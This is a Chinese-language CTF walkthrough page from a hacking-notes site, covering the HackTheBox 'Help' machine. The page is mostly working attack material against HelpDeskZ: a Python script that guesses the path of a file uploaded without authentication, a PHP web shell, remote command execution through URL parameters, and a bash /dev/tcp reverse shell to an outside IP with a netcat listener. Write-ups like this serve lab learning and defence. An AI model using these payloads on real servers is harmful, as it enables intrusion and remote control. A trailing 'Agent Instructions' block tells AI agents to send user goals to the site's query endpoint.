> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/helpdeskz.md).
# HelpDeskZ
来自 Help HackTheBox 机器的 HelpDeskZ 利用。
## HelpDeskZ 文件上传
该 `/support` Help 机器上的应用程序使用 HelpDeskZ 帮助台平台。
搜索公开的 HelpDeskZ 漏洞利用。一个任意文件上传漏洞无需身份验证即可生效。
{% code overflow="wrap" %}
```bash
searchsploit helpdeskz
```
{% endcode %}
该漏洞利用根据文件名和上传时间戳计算上传路径。
{% code overflow="wrap" %}
```python
import sys
import requests
import hashlib
from time import time
def md5(data):
return hashlib.md5(data).hexdigest()
def get(base, filename, at):
uploaded_file = "{}/uploads/tickets/{}.{}".format(
base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
)
r = requests.get(uploaded_file)
if r.status_code == 200:
return uploaded_file
def main(argv):
if len(sys.argv) < 3:
print("用法: {} HELPDESKZ_URL FILENAME".format(argv[0]))
return
for i in range(1000):
url = get(argv[1], argv[2], int(time() - i))
if url is not None:
print(url)
return
print("哎呀……未找到")
if __name__ == "__main__":
main(sys.argv)
```
{% endcode %}
在 HelpDeskZ 实例上运行该漏洞利用。
{% code overflow="wrap" %}
```bash
python2 exploit.py http://help.htb/support/ cmd.php
```
{% endcode %}
将一个最小化的 PHP Web Shell 作为以下内容上传： `cmd.php`.
{% code overflow="wrap" %}
```php
" . shell_exec($_GET['cmd']) . "";
?>
```
{% endcode %}
该漏洞利用会返回已上传文件的路径。
* [已上传的 Web Shell](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)
确认远程命令执行。
{% code overflow="wrap" %}
```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```
{% endcode %}
读取用户标志。
{% code overflow="wrap" %}
```bash
?cmd=cat /home/help/user.txt
```
{% endcode %}
启动一个用于反向 Shell 的监听器。
{% code overflow="wrap" %}
```bash
nc -nvlp 443
```
{% endcode %}
通过 Web Shell 执行以下命令。
{% code overflow="wrap" %}
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/cms/helpdeskz.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
